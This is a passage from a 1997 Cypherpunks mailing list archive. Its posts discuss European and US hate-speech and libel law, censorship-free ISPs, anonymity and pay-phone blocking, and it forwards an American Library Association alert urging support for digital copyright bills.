and The Kurdish Worker's Party. 
The Compuserve incident was allegedly about "child pornography"
and nazi propaganda but only gay related newsgroups was removed.


>>>Reply to Duncan Frissell:
>>>If the German people desired to abolish the Radikalenerlass they
>>>could do so simply by changing their goverment precisely as
>>>U.S. citizens could abolish use of capital punishment against
>>>minors.  Is there any difference?
>>
>>There is a difference, in that calling for the abolition of laws
>>banning 'hate speech' can easily be labelled as 'hate speech' in
>>themselves.
>>
>>I think it's true for banana republics.  However, as far I know
>>itsn't illegal in Germany to call for the abolition of all hate laws.
>>But calling for the abolition of human rights is certainly against
>>the law.
>
>!!! It sounds as if in Germany one may not discuss even the most basic
>political philosophy without violating the law.
>
>I'm not sure what is meant by "calling for the abolition of human
>rights".  What would be some examples of things somebody could say and
>what would be the penalties?  (Presuming you are allowed to give
>examples, that is.)

If an organization  advocates the use of violence or promotes ideas 
contrary to the Constitution that's ground for denial of tax
execption and later prohibition by a court. 
Advocating that all Jews should be expelled would certainly be
considered unconstitutional and a criminal offence. 
The difference from Germany to the United States is the
difference in the constitutional provissions. 
The German Basic Law expressly proscribes limitations to speech
and association rights while the First Amendment restraint on
goverment interference is written in absolute terms.
I know of course that the First Amendment is not interpreted literally by
the Supreme Court i.e. Chaplinsky v. New Hampshire, Miller v.
California, Roth v. United States, Paificca Foundation v. FCC. 
But the  U.S. Supreme Court seems to require any law affecting
political speech preserves a content neutrality meaning that
seditious libel (Brandenburg v. Ohio 1969) and hate speech (RAV v.
City of St Paul of Minnesota 1992) is protected against
punishment by the goverment. 
This doctrine is unfortunately unknown in Europe and Canada where the
tradition of consensus
democracy always guaranteed liberty for majoritarian views.
Even with the rattification of The European Convention of the
Protection of Human Rights freedom of speech guaranteed within
Article 19 was expressly limited to preserve public morals,
public health, national security etc. 
Someone may correct me if I am wrong in the understanding that
the First Amendment does not allow the enactment of any statute
proscribing breach of public morals as an offence except
obscenity. 
The European Court of Human Rights has upheld most conviction
concerning public morals such as blasphemous libel and hate
speech.
It should also be noted when we discuss Germany and hate speech
than the international, European and Canadian, classification of
hate speech is different from yours.

For instance, The United Nations International Convention on
Civil and Political Rights Article 20 not only allow punishment
of hate speech but even compell the signatories to prohibit
racist speech by law.
Germany and Denmark can rely on the "international community"
justifying criminalization of hate speech and even membership in
organizations that "discriminates" on the ground of race and
religion. 

I like your First Amendment more than the European and Canadian
approoach. 

My intention was not to justify the German criminalization of
speech but merely to explain the reason for the law as I see it,
a law I do not support.

>>In addition, we do not prohibit pornography, and obscenity is a
>>non-existent legal category.
>
>Another good point.  Many in the U.S. have become so accustomed to
>these speech restrictions that it seems normal.

Yes. 
Banning a film with redeeming social and artificial value is to
me an obscene act-)

In this matter, Denmark and Netherland is _more_ liberal than
the U. S.
That would not happen in Denmark or Sweden.
Denmark is not the worst censor of hate speech in Europe.
In fact, the United Nations criticizes us every year for
allowing the Danish National Socialist Movement (the Danish
equivalent to the losers in The National Alliance).

However, we still have several restriction on freedom of speech
such as an obscure statute  dealing with
"Insult to the Majesty" and another dealing with blasphemy. 
Our libel laws are also very burdensome.
The police can sue you for libel hurling you in court to prove
your statement even when not directed at a named police officer.
Prof of truth is not necessarily a defence.
It is often enough to prove that the statement was likely to
damage the reputation of the plaintiff.
With my non-lawyer experience the defendant often have to prove
that the statement is true and made in the public interest.
There is no defence requiring a public figure to prove actual
malice and reckless disregard for truth.
In recent moths, an individual who criticized the police as an
institution was convicted for making a statement in a newspaper
likely to undermine the police's reputation in the eyes of the
public.
This sounds very much like a seditious libel offence in
particular when the statement is directed at a state institution.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 20 Dec 1997 14:27:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Hate speech and censorship
Message-ID: <199712200621.HAA13824@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain





I can warmly recommend Cyberpass.
Cyberpass does not censor political
speech. 
They provide anonymous accounts to a considerable low price. The
connection is telnet with a UNIX shell and SSH support. Cyberpass is a
division of Infonex InterNet Services. They have a policy "Go and get a court
order" which is very unusual. 
They already host  the OSTARA domain
www.ostara.org containing stupid nazi propaganda.
Others I could mention are
Concentric Network Corporation and Panix - Public Network Corporation and
Webcom.
http://www.cyberpass.net 
http://www.cris.com http://www.concentric.net
http://www.webcom.com.
I am sure there are others who do not censor.
But these are those I trust most.
Most ISPs are more concerned about pornography than
hate speech.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 20 Dec 1997 14:33:33 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <199712200629.HAA14688@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




> Much as I agree in principle with counteracting mindless
> prejudice such as that directed against Jews, and despite
> the fact that I grew up among Jews and studied with my
> best friend in grade school when he took his religious
> lessons, the ADL has zero credibility with me for a very
> good reason: 

This reason has zero credibility. If you want to add
something to the public record, then use your real name,
you ninny! Nobody will pay attention to (much less
belive) an anonymous message - no credibility!

(
Why do you think the Nym list was formed? So they
wouldn't have to put up with anonymous traffic, 
that's why. A new one-of-a-kind web site has been
put up that lets you see if you are one of the elite
sheeple who are TIME- and LIFE-approved for partaking
in public discourse:
http://cgi.pathfinder.com/netly/spoofcentral/muted/
)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 20 Dec 1997 22:57:11 +0800
To: pethern@inet.uni-c.dk (Peter Herngaard)
Subject: Hate speech == HATED speech
In-Reply-To: <199712200441.FAA22257@inet.uni2.dk>
Message-ID: <199712201448.IAA16357@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Peter Herngaard wrote:
> >Incidentally, I heard that last year there were a series of raids on
> >bookstores for "hate" literature.  One of the books seized was Art
> >Spiegelman's "Maus".  The justification was that it glorified
> >violence.  (Feel free to correct me if this is baseless rumor. ;-)
> 
> No. It is entirely correct as far I know.
> As I have pointed out before, the present state of freedom of
> expression in Germany is lower than in Denmark. 

I would like to point out that much of the so called "hate" speech
should in fact be labeled "hated" speech. Let's take an example:
consider a history work thet denies holocaust of Jews in WWII.

Many of such manuscripts are rather dry and historical, and certainly
do not advocate killing anybody, and do not advocate any kind of "hate"
(although their authors probably do hate Jews on a personal level).
So why are they called "hate" speech? 

Because a lot of readers hate this kind of speech. Thus, it should
be renamed into "hated" speech.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Sat, 20 Dec 1997 17:06:17 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Automatic Translations
In-Reply-To: <v03102808b0c0a5dcb374@[207.167.93.63]>
Message-ID: <Pine.BSF.3.96.971220095819.8264C-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 19 Dec 1997, Tim May wrote:

> 
> 
> I just discovered an
> amazing, wonderful service which translates text into and from various
> European languages. Samples included here, of this text.

I am pretty impressed by the quality of the translations. Sure, multi-step
translations tend to fall apart quickly, but the first translations
are all rather well done for a machine that lacks comprehension of the
concepts trying to be conveyed.

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 21 Dec 1997 13:51:25 +0800
To: Dave Emery <die@die.com>
Subject: Re: Is Anonymous Communication only for "Criminals"? (was: Re: UCENET II and Peter duh Silva)
In-Reply-To: <19971220162410.14018@die.com>
Message-ID: <Pine.BSF.3.91.971220102724.24864D-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain



> 	War on (some) Drugs...  they don't want to, they have been asked to...
> 
> 	Most payphones can no longer receive calls because of this as
> well, and there are far fewer of them around in certain areas than there
> used to be ...
> 

More like simple economics; after the breakup, a lot of pay phones were 
operated by companies specializing in this type of service. Pay phones 
are high maintenance, and their operators can only turn a profit by 
charging very high rates; if you make a quick call and ask the other 
party to call you back at the pay phone, the pay phone operator doesn't 
make much money.

Can you site any legislation barring pay phones from receiving calls? I'd 
think that most pay phone operators would be glad to deny incomming calls 
if they were allowed to (as they often are), and wouldn't need to be forced.

(If you carry a pager only so a select group of people can reach you, you 
may want to block pay phone calls - beats having crack-heads paging you 
instead of their dealer by mistake at 4:00 a.m. - OTOH, you meet a lot 
of interesting people this way ... :)  )

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 21 Dec 1997 02:55:07 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Is Anonymous Communication only for "Criminals"?
In-Reply-To: <19971220182004.12276.qmail@nym.alias.net>
Message-ID: <v0310280bb0c1b61aa9c3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:20 AM -0700 12/20/97, Charlie Comsec wrote:

>Why would a pager company want to block calls from pay phones?  Haven't
>you seen that commercial (for MCI?) where the kids crowd into that phone
>booth and page someone to pick them up from school before the big
>storm hits?  Imagine if they had gotten a recording saying "I'm sorry.
>You can't page this number from a pay phone."  Really bad PR!

The general pressure to treat pay phones as things to be regulated away, to
be forcefully shut down (as in Chicago, if I recall correctly), and to be
treated as a Tool of the Devil has to do with the War on Some Drugs, of
course.

Because dealers use pay phones, they must be bad.

In a free society, companies would be free to offer various kinds of
blocking services. I surmise, though, that the pager companies are under
pressure from their friends in government to block pay phones more so than
they normally would.

(Even the _ability_ to block a pay phone, qua pay phone, must imply that
pay phones send out some kind of signal announcing themselves as pay
phones, which I had not heard of before. I assumed a pay phone was Just
Another Phone Number.)


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 21 Dec 1997 02:17:56 +0800
To: cypherpunks@toad.com
Subject: Re: Hate speech and censorship
In-Reply-To: <199712200621.HAA13824@basement.replay.com>
Message-ID: <a9P1He9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) writes:
>
> I can warmly recommend Cyberpass.
> Cyberpass does not censor political
> speech.
> They provide anonymous accounts to a considerable low price. The
> connection is telnet with a UNIX shell and SSH support. Cyberpass is a
> division of Infonex InterNet Services. They have a policy "Go and get a court
> order" which is very unusual.
> They already host  the OSTARA domain
> www.ostara.org containing stupid nazi propaganda.
> Others I could mention are
> Concentric Network Corporation and Panix - Public Network Corporation and
> Webcom.
> http://www.cyberpass.net
> http://www.cris.com http://www.concentric.net
> http://www.webcom.com.
> I am sure there are others who do not censor.
> But these are those I trust most.
> Most ISPs are more concerned about pornography than
> hate speech.

Panix is extremely censorous. I know of at least 3 cases where they pulled
plugs on their users because they didn't like the contents of their speech.
(Many people here probably remember Fred Cherry - Panix pulled his plug for
"homophobia".)
chris.com pulled the plug on TRRJC3 (Igor's pal) because of content.
I also wouldn't trust Lance Cottrell.  He's selling privacy for the $$, not
for the ideology; he'll bend over the moment he thinks there's more $$ in
bending over, which is usually the case.
Remember how Sameer Parekh's C2Net used to try to peddle a "privacy ISP"
because he failed miserable and diversified into peddiling shitty software
and making idiotic legal threats? He happily pulled plugs bases on content,
while at the same time stating in court papers that he doesn't censor content.
What a pathological liar.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 21 Dec 1997 00:26:29 +0800
To: cypherpunks@cyberpass.net
Subject: copyright legislation
Message-ID: <v04002719b0c19e1eccbf@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


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Date: Fri, 19 Dec 1997 20:54:17 -0800 (PST)
From: Phil Agre <pagre@weber.ucsd.edu>
To: rre@weber.ucsd.edu
Subject: copyright legislation
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From: ALAWASH E-MAIL (ALAWASH E-MAIL) <ALAWASH@ALAWASH.ORG>
Subject: ALAWON v6, n117 - ACTION ALERT: COPYRIGHT LEGISLATION (1 of 3)
Reply-To: pub-adv@s1.net

=================================================================
ALAWON                                       Volume 6, Number 117
ISSN 1069-7799                                  December 18, 1997

     American Library Association Washington Office Newsline

In this issue: (200 lines)

- - -ACTION ALERT: PRESIDENTS OF MAJOR LIBRARY ASSOCIATIONS ISSUE
JOINT APPEAL FOR IMMEDIATE CONGRESSIONAL CONTACTS IN SUPPORT OF
PENDING DIGITAL COPYRIGHT LEGISLATION

- - -AN OPEN LETTER TO THE LIBRARY COMMUNITY . . .
_________________________________________________________________

NOTE: This message, and important supporting material, has
been transmitted in 3 parts. This ALAWON is part 1 of 3.

  ACTION ALERT: PRESIDENTS OF MAJOR LIBRARY ASSOCIATIONS ISSUE
JOINT APPEAL FOR IMMEDIATE CONGRESSIONAL CONTACTS IN SUPPORT OF
             PENDING DIGITAL COPYRIGHT LEGISLATION

As detailed in the unusual letter that immediately follows
this alert, ALA President Barbara Ford and her counterparts
at three of the nations other major library associations
have jointly called upon librarians to act **immediately**
in support of two pieces of landmark copyright legislation
now pending before Congress.  Specifically, the presidents
of AALL, ALA, ARL and SLA are jointly urging each of their
75,000 combined members to encourage both of their Senators
to cosponsor Sen. John Ashcroft's (R-MO) "Digital Copyright
Clarification and Technology Act" (S. 1146) and their House
Representative to cosponsor the "Digital Era Copyright
Enhancement Act," introduced by Reps. Rick Boucher (D-VA)
and Tom Campbell (R-CA) (H.R. 3048).

ALAWON readers will recall substantial activity in
Washington (and last winter in Geneva, Switzerland) directed
toward updating the nation's copyright laws for the digital
age.  The introduction of the separate Senate and House
bills cited above constitutes tremendous legislative
progress toward ALA's goal of preserving the current balance
in copyright law between protecting information and
affording access to it.  This progress is attributable in
large measure to the work of the Digital Future Coalition
(DFC), which ALA helped to found and in which it takes an
active role.  (DFC summaries of both S. 1146 and H.R. 3048
are included in the third part of this transmission.)

Both Sen. Ashcroft's bill (S. 1146) and the Boucher/Campbell
proposal (H.R. 3048) would affirmatively modify current law
to make clear that Fair Use fully applies in the networked
environment and that preservationists may use the latest
technologies and methods.  In addition, Rep. Boucher's bill
would extend the First Sale Doctrine -- the basis of all
library lending -- to the electronic environment.  All three
bill sponsors also have demonstrated their commitment to
assuring that no library or librarian should be legally
liable for any copyright infringement committed by a library
user acting independently.

The presidents make clear in their letter that they view S.
1146 and H.R. 3048, taken together, as the best approach to
updating the Copyright Act to meet the challenges of the
digital environment while, at the same time, preserving the
critical balance between copyright owners and users in the
electronic age.

ACTION ALERT:
Your help is needed in the next several weeks in assisting
Sen. Ashcroft and Reps. Boucher and Campbell to persuade
other members of the Senate and House to cosponsor S. 1146
and H.R. 3048, respectively.  All ALA members -- and library
supporters or all kinds -- are urgently requested to:

- - -- study the attached fact sheets detailing the intent and
provisions of S. 1146 and H.R. 3048;

- - -- write to your House and Senate delegations requesting
co-sponsorship of these bills (separate sample letters for
the Senate and House are included in part 2 of this
message); and

- - -- call and visit the members of your Congressional
delegation before January 25, 1998 and ask them specifically
to "cosponsor" S. 1146 or H.R. 3048, as appropriate.

Let Congress know that you care about updating copyright law
for all Americans.  Libraries' effectiveness and vitality in
the 21st century depends on them...and on you.  For
information about contacting your Senators and
Representatives and further background on this critical
legislation, please consult the ALA Washington Office
website at http://www.ala.org/washoff or the Digital Future
Coalition's home page at http://www.dfc.org.  Inquiries also
may be directed to Adam Eisgrau, legislative counsel for the
ALA Washington Office, at 800/941-8478.
________________________________________________________________

         AN OPEN LETTER TO THE LIBRARY COMMUNITY . . .

December 5, 1997

Dear Library Supporter:

As the presidents of four of the nation's major library
associations, we write to ask for your assistance in garnering
support for two pieces of federal legislation of critical
importance to the library community, indeed to libraries in every
community.  These bills are Sen. John Ashcroft's (R-MO) "Digital
Copyright Clarification and Technology Act" (S. 1146) and the
"Digital Era Copyright Enhancement Act," jointly introduced by
Representatives Rick Boucher (D-VA) and Tom Campbell (R-CA) (H.R.
3048).

In our view, these proposals present the best approach to
updating the Copyright Act to meet the challenges of the digital
environment while, at the same time, preserving the critical
balance between copyright owners and users in the electronic age.
Both bills include provisions which are essential to libraries if
we are to effectively serve our patrons, scholars, researchers,
and students in the networked environment.  We seek your
immediate help in assisting Sen. Ashcroft and Reps. Boucher and
Campbell to persuade other members of the Senate and House to
cosponsor S. 1146 and H.R. 3048, respectively.

WHY THIS EFFORT IS IMPORTANT TO ALL LIBRARIES
Each year, millions of researchers, students, and members of the
public benefit from access to library collections -- access that
is supported by fair use, preservation programs, interlibrary
loan, and more. We must ensure that the Copyright Act continues
to serve the public who rely upon these collections and services.
The Ashcroft and Boucher-Campbell bills seek to update the
Copyright Act by extending the balance that we currently enjoy so
that owners, creators, and users alike may benefit fully from the
opportunities of the digital environment.  These bills
appropriately extend the balance by clarifying or updating
selected privileges granted to libraries, researchers,
educational institutions and others under current law.

ACTION IS NEEDED NOW!
Accordingly, we are asking the members of our Associations -- and
all other library supporters -- to:

     -study the attached fact sheets and sample letter detailing
     the intent and provisions of S. 1146 and H.R. 3048;

     -write to your House and Senate delegations requesting
     co-sponsorship of these bills; and

     -call and visit the members of your Congressional delegation
     and ask them to cosponsor S. 1146 or H.R. 3048, as
     appropriate.

Senator Ashcroft, and Representatives Boucher and Campbell, would
appreciate our help in achieving passage of this potentially
landmark legislation.  The most critical first step in this
process is to engage members of Congress and seek their
endorsement of these bills.  Let Congress know now the importance
of updating the Copyright Act for your institution, your users,
and of ensuring that libraries will be able to effectively serve
the nation in the information age.

Thank you.  Our associations stand ready to assist you in any way
that we can.  Please do not hesitate to call upon us and to let
us know of your efforts.

Sincerely,

Judith A. Meadows, President
American Association of Law Libraries

Barbara J. Ford, President
American Library Association

James G. Neal, President
Association of Research Libraries

Judith J. Field, President
Special Libraries Association
_________________________________________________________________

ALAWON is a free, irregular publication of the American Library
Association Washington Office.  To subscribe, send the message:
subscribe ala-wo [your_firstname] [your_lastname] to listproc
@ala.org.  To unsubscribe, send the message: unsubscribe ala-wo
to listproc@ala.org. ALAWON archives at http://www.ala.org/
washoff/alawon. Visit our Web site at http://www.alawash.org.

ALA Washington Office                            202.628.8410 (V)
1301 Pennsylvania Ave., NW, #403                 202.628.8419 (F)
Washington, DC 20004-1701                        800.941.8478 (V)

Lynne E. Bradley, Editor                        <leb@alawash.org>
Deirdre Herman, Managing Editor  <alawash@alawash.org>

Contributors:                                        Adam Eisgrau
All materials subject to copyright by the American Library
Association may be reprinted or redistributed for noncommercial
purposes with appropriate credits.
=================================================================

To: pub-adv@s1.net
From: ALAWASH E-MAIL (ALAWASH E-MAIL) <ALAWASH@ALAWASH.ORG>
Reply-To: pub-adv@s1.net

=================================================================
ALAWON                                       Volume 6, Number 118
ISSN 1069-7799                                  December 18, 1997

     American Library Association Washington Office Newsline

In this issue: (106 lines)

SAMPLE LETTERS FOR MEMBERS OF THE HOUSE OF REPRESENTATIVES AND
THE SENATE RE: REQUEST FOR COSPONSORSHIP OF CRITICAL COPYRIGHT
LEGISLATION
_________________________________________________________________

NOTE: This message, and important supporting material, has been
transmitted in 3 parts.  This ALAWON is part 2 of 3.

NOTE: To contact your Senators or Representatives, one source is
a Library of Congress compilation at
http://lcweb.loc.gov/global/legislative/email.html.

   SAMPLE LETTER FOR MEMBERS OF THE HOUSE OF REPRESENTATIVES

Hon. (Name of Representative)
United States House of Representatives
Room #, (Cannon, Longworth, or Rayburn) House Office Building
Washington, D.C. 20515

Re:   Request for Cosponsorship of Critical Copyright Legislation

Dear Representative (Last Name):

I recently learned that bipartisan legislation has been
introduced in the House by Reps. Rick Boucher of Virginia and Tom
Campbell of California which would broadly update United States
copyright law for the future in a way that will both protect the
owners of information and continue to allow librarians and
educators access to information under reasonable circumstances.
I am writing to you today to ask that you lend your name to that
legislation, the  Digital Era Copyright Enhancement Act,  which
has been assigned number H.R. 3048.

As a [librarian/school librarian/library user/library
trustee/friend of libraries], I feel strongly that any changes
made to the Copyright Act must be balanced in a way that allows
the benefits of the Internet to reach all sectors of society,
especially library users and students.  The Boucher/Campbell bill
will accomplish this very important goal in several important
ways.  When Congress reconvenes in January, please add your name
to H.R. 3048 as a cosponsor.

Thank you for your assistance in this important debate.

Sincerely,


_________________________________________________________________

            SAMPLE LETTER FOR MEMBERS OF THE SENATE

Hon. (Full Name)
United States Senate
Room #, (Dirkson, Hart, or Russell)Senate Office Building
Washington, D.C. 20510

Re:   Request for Cosponsorship of Critical Copyright Legislation

Dear Senator (Last Name):

I recently learned that legislation has been introduced by
Senator John Ashcroft of Missouri which would broadly update
United States copyright law for cyberspace in a way that will
both protect the owners of information and continue to allow
librarians and educators access to information under reasonable
circumstances.   I am writing to you today to ask that you lend
your name to that legislation, the  Digital Copyright
Clarification and Technology Education Act,  which has been
assigned number S. 1146.

As a [librarian/school librarian/library user/library
trustee/friend of libraries], I feel strongly that any changes
made to the Copyright Act must be balanced in a way that allows
the benefits of the Internet to reach all sectors of society,
especially library users and school children.  The Ashcroft bill
will accomplish this very important goal in several important
ways.  When Congress reconvenes in January, please add your name
to S. 1146 as a cosponsor.

Thank you for your assistance in this important debate.

Sincerely,

_________________________________________________________________

ALAWON is a free, irregular publication of the American Library
Association Washington Office.  To subscribe, send the message:
subscribe ala-wo [your_firstname] [your_lastname] to listproc
@ala.org.  To unsubscribe, send the message: unsubscribe ala-wo
to listproc@ala.org. ALAWON archives at http://www.ala.org/
washoff/alawon. Visit our Web site at http://www.alawash.org.

ALA Washington Office                            202.628.8410 (V)
1301 Pennsylvania Ave., NW, #403                 202.628.8419 (F)
Washington, DC 20004-1701                        800.941.8478 (V)

Lynne E. Bradley, Editor                        <leb@alawash.org>
Deirdre Herman, Managing Editor  <alawash@alawash.org>

Contributors:                                        Adam Eisgrau
All materials subject to copyright by the American Library
Association may be reprinted or redistributed for noncommercial
purposes with appropriate credits.
=================================================================

To: pub-adv@s1.net
From: ALAWASH E-MAIL (ALAWASH E-MAIL) <ALAWASH@ALAWASH.ORG>
Subject: ALAWON v6, n119 - ACTION ALERT: COPYRIGHT LEGISLATION (3 of 3)
Reply-To: pub-adv@s1.net

=================================================================
ALAWON                                       Volume 6, Number 119
ISSN 1069-7799                                  December 18, 1997

     American Library Association Washington Office Newsline

In this issue: (213 lines)

- - -THE BOUCHER-CAMPBELL BILL (H.R. 3048)
WHAT DOES IT DO? WHY DOES DFC SUPPORT IT?

- - -THE ASHCROFT BILL (S. 1146)
WHAT DOES IT DO? WHY DOES DFC SUPPORT IT?
_________________________________________________________________

NOTE: This message, and important supporting material, has
been transmitted in 3 parts. This ALAWON is part 3 of 3.

NOTE: The Digital Future Coalition (DFC) is a coalition of
library, education, public interest and industry organizations
committed to balanced copyright policy.  ALA helped to found the
coalition and takes an active role in its work.

             THE BOUCHER-CAMPBELL BILL (H.R. 3048)
           WHAT DOES IT DO? WHY DOES DFC SUPPORT IT?

Representatives Rick Boucher (D-VA) and Tom Campbell (R-CA) have
introduced the only comprehensive bill in the U.S. House of
Representatives that will maintain balance in the Copyright Act
by preserving for consumers, educators, librarians, researchers,
and other Netizens fundamental rights in the digital era. Like a
similar bill introduced by Senator John Ashcroft (S. 1146), this
comprehensive, balanced bill has the strong support of the DFC.
If you agree with us that the House of Representatives should
adopt the Boucher-Campbell bill instead of the legislation
proposed by the Clinton Administration (H.R. 2281), we encourage
you to send an e-mail to your elected Representative in the
House.

SECTION 1--TITLE. The bill is known as the "Digital Era Copyright
Enhancement Act."

FAIR USE. Section 2 would amend section 107 of the Copyright Act
to reaffirm that a finding of "fair use" may be made without
regard to the means by which a work has been performed,
displayed, or distributed. Thus, just as teachers, librarians,
and others may make "fair use" copies of portions of copyrighted
works today in the analog world, they may do so tomorrow in the
digital world.

LIBRARY PRESERVATION. Section 3 would amend section 108 of the
Copyright Act to allow libraries and archives to use new forms
of technology to make three copies of endangered materials for
archival purposes.

FIRST SALE. Section 4 would amend section 109 of the Copyright
Act to establish the digital equivalent of the "first sale"
doctrine. Under current law, a person who has legally obtained a
book or video cassette may physically transfer it to another
person without permission of the copyright owner. Section 4 would
permit electronic transmission of a lawfully acquired digital
copy of a work as long as the person making the transfer
eliminates erases or that copy of the work from his or her system
at substantially the same time as he or she makes the transfer.

DISTANCE LEARNING. Section 5 would amend sections 110(2) and
112(b) of the Copyright Act to ensure that educators can use
personal computers and new technology in a broad range of
educational settings in the same way they now use televisions to
foster distance learning. In addition, Section 5 would broaden
the range of works that may be performed, displayed, or
distributed to include the various kinds of works that might be
included in a multimedia lesson.

EPHEMERAL COPIES. Section 6 would amend section 117 of the
Copyright Act to make explicit that electronic copies of material
incidentally or temporarily made in the process of using a
computer or a computer network may not serve as the sole basis
for copyright infringement liability, such as when a work is
viewed on the World Wide Web.

UNFAIR LICENSES. Section 7 would effectively preclude copyright
owners from using non-negotiable license terms to abrogate or
narrow rights and use privileges that consumers otherwise would
enjoy under the Copyright Act, such as their fair use privilege,
by preempting state common and statutory law, such as the
proposed changes to the Uniform Commercial Code.

BLACK BOXES. Section 8 would implement the anti-circumvention and
copyright management information provisions of the WIPO Copyright
Treaty and the WIPO Performances and Phonograms Treaty. The
treaties do not require the broad prohibition of software and
devices that might be used by infringers as proposed in the
legislation drafted by the Clinton Administration. Consistent
with the treaties, section 8 would create liability only for a
person who, for purposes of infringement, knowingly circumvents
the operation of an effective technological measure used by a
copyright owner to limit reproduction of a work in a digital
format. The bill also would create liability for a person who
knowingly provides false copyright management information or
removes or alters copyright management information without the
authority of the copyright owner, and with the intent to mislead
or induce or facilitate infringement.
_________________________________________________________________

                  THE ASHCROFT BILL (S. 1146)
           WHAT DOES IT DO? WHY DOES DFC SUPPORT IT?

Senator John Ashcroft (Missouri) has introduced the only
comprehensive bill that will maintain balance in the Copyright
Act by preserving for consumers, educators, librarians,
researchers, and other Netizens fundamental rights in the digital
era. The bill contains three separate titles. They are summarized
below. If you agree with us that Congress should enact this law
instead of separate legislation proposed by the Clinton
Administration, we encourage you to send an e-mail to Senators on
the Judiciary Committee.

TITLE I. OSP/ISP LIABILITY

To foster the continued growth of the Internet, this portion of
the bill would--

     -clarify that merely providing network services and
     facilities for transmitting an electronic communication will
     not result in liability under the Copyright Act;

     -confirm that providing a site-linking aid, a navigational
     aid (including a search engine or browser), or the tools for
     creating a site-linking aid will not result in liability
     under the Copyright Act;

     -clarify that Internet and on-line service providers will
     not be liable for third-party copyright infringement unless
     they have received notice and have a reasonable opportunity
     to limit the third-party infringement; and

     -confirm that an employee of an educational institution,
     library, or archives will not be deemed to have received
     notice and thus will not be required to "take down" an
     allegedly infringing work if she believed the use was a fair
     use or otherwise lawful.

TITLE II. TECHNOLOGY FOR TEACHERS AND LIBRARIANS

Section 202 would amend section 107 of the Copyright Act to
reaffirm that a finding of "fair use" may be made without regard
to the means by which a work has been performed, displayed, or
distributed. Thus, just as teachers, librarians, and others may
make "fair use" copies of portions of copyrighted works today in
the analog world, they may do so tomorrow in the digital world.

Section 203 would amend section 108 of the Copyright Act to allow
libraries to use new forms of technology to make three copies of
endangered materials for archival purposes.

Section 204 would amend section 110(2) and 112(b) of the
Copyright Act to ensure that educators can use personal computers
to foster "distance learning" in a broad range of educational
settings in the same way they use televisions in traditional
classrooms today.

Section 205 would amend section 117 of the Copyright Act to make
explicit that electronic copies of material incidentally or
temporarily made in the process of using a computer or a computer
network may not serve as the sole basis for copyright
infringement liability, such as when a work is viewed on the
World Wide Web.

TITLE III. WIPO IMPLEMENTATION

Sections 1201 and 1202 would implement provisions of two
international copyright treaties adopted by the World
Intellectual Property Organization. The WIPO treaties oblige
signatory nations to offer legal protection against circumvention
of technology intended to protect copyrighted material against
infringement, but do not require the broad prohibition of
software or devices that might be used by infringers.

Section 1201 would only create liability for a person who--for
purposes of infringing a copyrighted work--knowingly circumvents
the application of an effective anti-copying measure used to
protect a work in a digital format. In contrast, the legislation
proposed by the Clinton Administration at the urging of Hollywood
and other content owners could outlaw new PCS and digital VCRs,
and frustrate the fair use rights of information consumers.

Section 1202 would create liability for a person who knowingly
provides false copyright management information or who removes or
alters copyright management information without the authority of
the copyright owner.

_________________________________________________________________

ALAWON is a free, irregular publication of the American Library
Association Washington Office.  To subscribe, send the message:
subscribe ala-wo [your_firstname] [your_lastname] to listproc
@ala.org.  To unsubscribe, send the message: unsubscribe ala-wo
to listproc@ala.org. ALAWON archives at http://www.ala.org/
washoff/alawon. Visit our Web site at http://www.alawash.org.

ALA Washington Office                            202.628.8410 (V)
1301 Pennsylvania Ave., NW, #403                 202.628.8419 (F)
Washington, DC 20004-1701                        800.941.8478 (V)

Lynne E. Bradley, Editor                        <leb@alawash.org>
Deirdre Herman, Managing Editor  <alawash@alawash.org>

Contributors:                                        Adam Eisgrau
All materials subject to copyright by the American Library
Association may be reprinted or redistributed for noncommercial
purposes with appropriate credits.
=================================================================

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
